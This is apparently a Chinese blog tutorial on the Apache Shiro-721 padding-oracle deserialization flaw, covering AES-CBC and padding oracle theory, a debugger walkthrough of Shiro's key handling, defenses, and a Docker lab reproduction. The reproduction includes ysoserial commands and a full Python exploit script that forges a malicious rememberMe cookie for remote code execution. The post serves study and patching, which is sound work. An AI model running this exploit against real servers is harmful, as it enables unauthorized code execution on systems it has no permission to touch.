shrio721漏洞复现
本文最后更新于 2024-09-03,文章内容可能已经过时。
Shrio-721反序列化漏洞复现
一、漏洞简介
shiro-721反序列化漏洞,使用由于shiro框架,使用AES-128-CBC模式
,它受CBC字节反转攻击和Padding Oracle Attack
(侧信道攻击)的影响,可以从cookie
中Remember Me
字段的加密,于是用户可以通过Padding Oracle加密
(侧信道攻击)生成的攻击代码来构造恶意的Remember Me
字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
和Shiro550的区别:
(和Shrio550漏洞的区别就是shiro550的漏洞原理是由于密钥的加密信息硬编码在源代码中而Shiro721漏洞的原理是由于AES-128-CBC模式本身的设计缺陷导致可以进行反序列化RCE代码执行。所以说这个和shiro-550差不多,不同点在于550漏洞并不需要登录成功就可爆破key,但是721需要登录成功才可以)
shiro721用到的加密方式是AES-CBC,而且其中的ase加密的key基本猜不到了,是系统随机生成的。而cookie解析过程跟cookie的解析过程一样,也就意味着如果能伪造恶意的rememberMe字段的值且目标含有可利用的攻击链的话,还是能够进行RCE的。
- shiro550 序列化利用需要知道AES加密的key,使用这个key直接构造Payload。
- Shiro721 序列化是利用已登录用户的合法RememberMe Cookie值,通过服务器对填充密钥的不同响应,从而判断加密值是否被正确填充,构造Pyload。
漏洞影响版本:Apache Shiro < 1.4.2
CVE编号:CVE-2019-12422
、CVE-2016-4437
防御措施
- 升级Shiro到最新版本
- WAF拦截Cookie中长度过大的
Remember Me
值
(Shiro721生成的Cookie中的Remember Me值一般都是很长很长,就是因为AES加密中的CBC分组机制造成的,加密解密内分组机制造成可以向rememberMe无限添加而服务器任然会读取。)
二、漏洞原理
2.1 AES 加密的 CBC模式
AES加密算法全称是Advanced Encryption Standard(高级加密标准),是最为常见的对称加密算法之一。AES的区块长度固定为128位,密钥长度则可以是128,192或者256位。为了能在各种应用场合安全地使用分组密码,通常对不同的使用目的运用不同的工作模式。AES有五种工作模式:电码本模式(Electronic Codebook Book,ECB)、输出反馈模式(Output FeedBack,OFB)、计算器模式(Counter,CTR)、密码反馈模式(Cipher FeedBack, CFB)、密码分组链接模式(Cipher Block Chaining, CBC)。而在shiro721中使用的即使CBC模式。
密码分组链接模式(Cipher Block Chaining,CBC),其中“分组”是指加密和解密的过程都是以分组进行的。每一个分组大小为128bits(16字节),如果明文长度不是16字节的整数倍,需要对最后一个分组进行填充(padding),使得最后一个分组的长度为16字节。“链接”是指密文分组链条一样互相链接在一起。
加密过程:
- 发送方将明文(Plaintext)成若干分组(Plaintext[1],…,Plaintext[n]),每个分组16字节,不够则填充。
- 生成一个跟分组长度一致(16字节)的IV(Initiallizaztion Vector,初始向量),用于后续的异或运算。
- 将IV与第一个明文分组(Plaintext[1])进行异或得到m1(可以看作一个中间值)
- 将m1使用密钥key进行加密得到第一个密文分组(Ciphertext[1])
- 将上一步的密文与下一个明文分组异或,得到一个新的中间值,再将这个新的中间值使用key进行加密后得到后续的一个密文分组。接着重复这个过程知道所有明文分组被加密。
- 为了接受方能够成功解密,还需要将IV也发送给接收方。为描述方便,这里把将IV当成(Ciphertext[0]),发送时会将IV作为密文的第一个分组,最后将后续密文分组按顺序拼接即可得到最终的密文(Ciphertext)
解密过程:
- 接受方将密文(Ciphertext)分为若干分组(Ciphertext[1]…Ciphertext[n])
- 将一个密文分组(Ciphertext[1])使用密钥key进行解密,得到中间值m1
- 将IV(Ciphertext[0])与m1进行异或运算得到第一个明文分组(Plaintext[1])
- 将下一个密文分组使用key进行解密得到一个新的中间值,而将上一个密文分组与该中间值进行异或即可得到后续的一个明文分组。重复这个过程直到得到所有的密文分组被解密。
- 最后将所有的明文分组组合到一起即可获取到完整的明文(Plaintext)
2.2 Padding Oracle攻击原理
Padding Oracle Attack(填充预言机攻击)是一种侧信道攻击的方式,这种攻击的核心思想就是通过加密软件或者硬件运行时产生的各种漏洞泄露信息来获取密文信息,Padding Oracle Attack与sql注入中的Blind Inject(布尔注入)的思想类似,都是利用了二值逻辑的推理原理。
Padding的含义就是“填充”,在解密的时候,如果算法发现解密后得到的结果,它的填充方式不符合规则,那么表示输入的数据有问题,对于解密的类库来说,往往便会抛出一个异常,提示Padding不正确。Oracle在这里便是“提示(预言)”的意思和甲骨文那个Oracle没有任何关系。
2.2.1 分组填充方式(PKCS#5Padding,PKCS#7Padding)
因为分组加密的方式只能使用一个固定大小的密钥加密相同长度的明文(一般长度为8个字节(PKCS#5Padding)或者16个字节(PKCS#7Padding)),所以需要将加密的明文按照密钥大小拆分为多个块(所以也叫块加密),如果拆分后最后一个块明文长度不够,就需要填充字节来补齐长度。按照常规的PKCS#5
或PKCS#7
公钥加密标准,最后需要填充几个字节,那么每个填充字节的值就用所需填充的字节数,若最后一个明文刚好符合固定长度,就需填充一个完整的字符串。
通过下图我们可以更好的进行理解:
(黄色块是填充的字节块,0x08为16个字节,如图,7字节的时候缺一个字节,补上一个字节0x01,如此类推。。)
我们假设每个分组8个字节,当最后一个分组为8个字节长度时,就再填充8个字节,且每个字节的值都为16进制的“8”,即0x08。若最后一个分组为7个字节,则需要填充1个字节,该字节的值为0x01。以此类推,6个字节就需要填充两个字节,都要0x02
那么它如何判断填充是否错误?当将密文解密后,其会检查密文最后一个字节,若发现其为0x02,则继续检查倒数第二个字节是否为0x02,若倒数第二个字节不是0x02,则判断出填充错误。其判断方式就是通过去读明文最后一个字节填充的字节,根据该字节的值,继续向前检查。
简单的来说就是最后一组分组字节不够的时候,填充字节,缺n个字节就填充0x0n个字节,假如刚好是满字节的情况下,就额外填满一块分组,即填0x08个字节(假设8个字节为一组)
可以清晰地看到,缺几个字节,就填充几个字节。而且这里有一个特俗的填充,就是当分组刚好满了的时候,还需要额外填满一块分组,也就是图上的0x08,这是因为明文在加密前必须填充8个相同字节(DES为8个,AES为16个)使总长度是8的整数倍。
2.2.2 异或运算(xor)
异或(xor)是一个数学运算符,它应用于逻辑运算,异或的数学符号为“⊕”,计算机符号为“xor‘。其运算规则为:若a,b两个值不相同,则异或的结果为1,如果a,b两个值相同,则异或的结果为0
有以下运算规律:
- 若a xor b = c,则b xor c = a ,a xor c = b
- a xor 0 =a
- a xor a = 0
- 若 a xor b = c ,则a xor b xor c = 0 ,c xor c xor d = d
2.2.3 Padding Oracle
**当我们知晓IV与密文,输入点可控(能够任意输入IV与任意密文交由解密器解密),且当密文解密出错时,能够判断出是否由于填充错误造成的,就能在不知道对称密钥的情况下,通过构造明文分组中不同的填充值,再利用填充时的错误回显或是时间延迟,进行爆破,推测出密文解密后的中间值,进而可以推测出原始明文,**或是利用中间值结合特定的IV构造出想要的明文,而这个利用错误回显或是时间延迟做出判断的过程就称为“Oracle”
接下来分析该攻击的具体实现流程,前面我们知道了分组填充方式如何判断填充是否错误,这里我们可以从第一个分组开始进行分析:
关键词说明:
- Plaintext:明文,Plaintext[-n]:明文分组中最后第n个字节
- m:中间值,由IV与Plaintext进行异或运算得到,m[-n]:中间值的最后第n个字节
- IV:初始向量:IV[-n]:初始向量的最后第n个字节
- G_IV: 构造的IV,G_IV[-n]:构造的IV的最后第n个字节
采用CBC模式进行解密的时候,其会将密文分组解密为一个中间值m,而后再将m与IV进行异或得到最后的明文分组。当我们可以控制输入的IV与密文时,我们就可以先只输入第一个密文分组,而将其解密后得到的就是完整的明文,是没有填充字节的,这必定就会触发填充错误,于是我们可以尝试构造一个G_IV,使得中间值m与G_IV进行异或后得到的明文的最后一个字节Plaintext[-1]为0x01,这样就不会出现填充错误。
那么如何找到这个G_IV呢?我们可以将G_IV的前面的7个字节全部设置为0(这样不会改变明文中的前七个字节),而最后一个字节G_IV[-1]从0x00开始到0xFF(一个字节为8为,最多为256种可能)进行尝试,当解密出明文的最后一个字节不为0x01就会发生填充错误,由此进行判断,最后我们必然找得到一个GIV[-1],使得"G_IV[-1] xor m[-1] = 0x01"
,这样去做分组校验的时候一定会通过。
找到这个G_IV[-1]后,我们可以有以下推论:
G_IV[-1] xor m[-1] = 0x01 #找到一个G_IV[-1]与m[-1] 异或为0x01
G_IV[-1] xor 0x01 = m[-1] #G_IV[-1] 与 0x01异或得到解密后的m[-1]
IV[-1] xor m[-1] = Plaintext[-1] # 将m[-1] 与原本的IV[-1]异或就会得到明文的最后一个字节
知道了m[-1]。这个同理我们可以继续构造G_IV[-1] xor m[-1] = 0x02,G_IV[-2] xor m[-2] = 0x02。因为m[-1]知道所以很容易得到G_IV[-1] ,而后我们就可以将G_IV[-2]从0x00开始到0xFF,必定会找到GIV[-2]使得“GIV[-2] xor m[-2] = 0x02”,此时不会发送填充错误。
G_IV[-2] xor m[-2] = 0x02
G_IV[-2] xor 0x02 = m[-2]
IV[-2] xor m[-2] = Plaintext[-2]
于是可以继续构造G_IV[-3]…G_IV[-8],我们就可以得到该明文分组的所有字节,接下来我们就可以在后续的分组中使用该方法来获取所有明文分组,但是后续的明文分组是上一个密文分组来进行异或操作的,所以我们需要修改的是前一个密文分组,
注意:当最后一个密文分组的中间值进行猜解的时候,会遇到明文本身最后一个字节为填充字节,如0x02,可能会得出不同的两个结果。我们最后将一个字节构造成0x01的时候,无论前面字节是什么内容都不会触发填充错误,而将最后一个字节构造成0x02同样不会报填充错误。这时,我们可以在最后一个填充字节判断成功的情况下,构造倒数第二个字节为任意值都不出现填充错误,则明文最后一个字节就构成了0x01
2.2.4 CBC字节翻转攻击
我们了解了如何猜解出中间值(m),并进一步通过中间值来得到明文。当我们知道其解密后的中间值,就可以构造一个IV使得二者异或的到的明文为我们想要的明文,从而完成攻击。
具体攻击细节我们可以通过上图来了解,如上图所示,我们需要修改其明文分组3的内容,就可以修改明文分组2的内容,让其中间值3异或运算得到我们想要的结果。但是修改了密文分组2会让其解密后的中间值乱码(损坏),最后得到的明文信息会是乱码,所以我们需要通过前面的填充攻击的方式猜解出损坏的中间值,再通过修改密文分组来还原该明文分组。同理密文分组1对应的明文分组1也可以通过修改IV来还原,最终我们就修改了明文分组3,而其他明文不变。使用这个中方式我们也可以修改整个明文极其添加新的明文。
总得来说:
1、CBC字节翻转攻击是用来修改明文的
2、Padding Oracle Attack是用来猜解明文的
2.3 Shiro721 漏洞原理
Shiro 721与Shiro 550对应的shiro版本和加解密过程基本一致,只是在shiro550之后,AES加密密钥都是使用了动态获取的方式,而不是硬编码在源代码中。
环境搭建
jdk8u65
tomcat8 (https://tomcat.apache.org/download-80.cgi?Preferred=https%3A%2F%2Fdlcdn.apache.org%2F)
整合的shiro-721网站测试项目( https://github.com/jas502n/SHIRO-721/blob/master/samples-web-1.4.1.war)
项目搭建
下载项目之后,先解压,然后在idea中创建一个web-app 的 maven arch项目,然后项目解压后的拖入到webapp中
添加Tomcat并设置部署后直接启动即可
启动浏览器访问:
2.3.1 漏洞源代码分析
密钥生成过程
这里对解密的过程就不多赘述,只看关键部分,将rememberMe
字段进行base64解密及其他相关操作后,会调用AbstractRememberMeManager.class
中的decrypt()
方法对密文进行解密,而其使用的加解密算法是AES的CBC模式,使用的填充方法是默认的PKCS5#Padding
接着来到cipherServer的decrypt()方法
,这里回去出密文首部分的16个字节赋值给IV(初始向量),并将后续的密文,密钥,iv
交由给另一个decrypt()
方法处理。
在该decrypt()
方法中直接使用crypt()
方法出处理。
接着看crypt()
方法,这里会将密文进行解密,并检测明文的填充是否正确,如果不正确,则会报错。
后续也会在响应中重新设置Cookie的值,设置rememberMe=deleteMe
,所以我们可以使用该字段来判断。我们可以使用Burp进行拦截登录成功后刷新页面的请求,修改rememberMe字段,使其发生填充错误。(注意:我们需要成功登录以获取一个合法用户的rememberMe字段,应为shrio会获取用户的信息,若不是合法用户则也会抛出返回异常,从而执行rememberMe=deleteMe
)
若Cookie中的remember填充正确,则会解密后的字节数组返回。最后交给AbstractRememberMeManager.class
的convertBytesToPrincipals()
方法处理,其会抵用deserialize()方法将解密后的字节数组进行反序列化处理,其中就会调用readObject
方法进行反序列化,于是攻击者可以先构造执行命令的恶意对象,将其序列化后在修改RememberMe字段中的IV与密文分组,通过CBC翻转攻击将明文构造成序列化后的恶意对象,最后让其进行反序列化操作,从而执行恶意命令。
启动项目后web进行登录勾选remeberMe
登录,然后在程序AbstractRememberMeManager.encrypt
方法打下断点,
继续前进,到达加密这部分,我们看下getEncryptionCipherKey
方法
我们可以看下这个是直接返回的值,进一步分析由来
在最初,没有直接赋值,通过setCipherKey
方法获得的值赋给加密密钥和解密密钥。
我们查看generateNewKey
方法。
因为这一步算是初始化中,调试的话需要重新启动调试,并不是在登录过程中触发,直接打断点是触发不了的
init
方法完成了初始化密钥生成器,然后再generateKey
方法中生成密钥。
this.random
随机数生成器生成随机字节,并填充到 var2 数组中再返回SecretKeySpec
对象
最后回到最初,通过getEncoded
方法获取密钥序列。
三、漏洞复现
环境搭建:(使用docker)
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721
浏览器访问:
web界面登录默认用户名和密码后,勾选Remember Me字段,点击login登录后,burp抓包。
得到 RememberMe Cookie:
1.使用反序列化工具 ysoserial 生成Payload,利用链Payload选择 CommonsBeanutils1:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/shiro721" > payload.class
2.下载漏洞利用工具,解压后,将上面生成的payload.class放到exp目录下
unzip Shiro-721-master.zip
mv payload.class Shiro-721-master/exp/
cd Shiro-721-master/exp/
3.在exp目录下执行shiro_exp.py生成恶意的remember Me字段,格式为python shiro_exp.py [url地址] [burp抓包下来的RememberMe的值] pyload.class
python shiro_exp.py http://192.168.91.128:8080/login.jsp +6Pq2QXAxGXYwQd8AiHcta+hiJb6g3vtZJWfrHD+/rkpz2IGqW00C2KIiKJnGx+ucP1yr2ULy2GfJ2m9ogm0MZXpTarm4XBrtlTodubuc6yL01CRUvSwvXwVuR+y9LLFYRj46Zf0vscjhaWofQlIYb//LNV7Z9GyR/XlyZWtteWK6xQqmdXab5FubKykfH6duPAioSv2s/h6otmeN0BYTpezoQ1/A2yvo4v9eJ1vjei61xtkoZptw5vHegDRo75sCdVRvKNSx0I/Gr/LphnicdNSEiZk4MLLExKT2BTe8ZunOMbJO3oxERvzrSd2D0kdbafOQ04ZnIQfvb0b+OhoL7Zh/v2Nj4/9WsSPZsRNvKFYb966Rlbj6NKJ7dAMG9c0268MitgM7AJG/l9YUguUt0ZyM1Cvjxa6EVMGFhGR8Ol+Va0+UjD5Q3qfGT++/8kPb6TmRnH/EFF3R3/BY3nR3QgFGyT3g+JUyaN7yh3IXwQz0jPWUf27KqLNEBbwjU8H payload.class
此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。
最终会生成恶意的rememberMe cookie,我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看,会发现/tmp目录下被创建了一个123文件。
需要注意的是,这里原本的JSESSIONID要删除掉,否则服务器不会进行反序列化操作。
将得到的这个Rememberme Cookie替换到Cookie处发送:
进入到我们的靶机docker环境中,可以看到 /tmp/shiro721 文件已经成功创建,利用成功。
漏洞利用复现至此利用成功。
python的payload:
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
# self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
self.session.cookies['rememberMe'] = somecookie
if self.session.cookies.get('JSESSIONID'):
del self.session.cookies['JSESSIONID']
# logging.debug(self.session.cookies)
while 1:
try:
response = self.session.get(sys.argv[1],
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
# logging.debug(response.headers)
if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)
return
# logging.debug("Padding exception")
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[3:]:
print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))
padbuster = PadBuster()
payload = open(sys.argv[3], 'rb').read()
enc = padbuster.encrypt(plaintext=payload, block_size=16)
# cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
# print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
print('rememberMe cookies:')
print(b64encode(enc))
修复方式
升级到 Shiro1.4.2 版本(Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为AES-GCM)
参考文章
Shiro反序列化漏洞原理分析:
https://zhuanlan.zhihu.com/p/672527050
shiro721 Padding Oracle Attack详细分析(一):
shiro721 Padding Oracle Attack详细分析(二):
Shiro Padding Oracle Attack 反序列化:
https://buaq.net/go-35066.html
RememberMe Padding Oracle Vulnerability:
- 感谢你赐予我前进的力量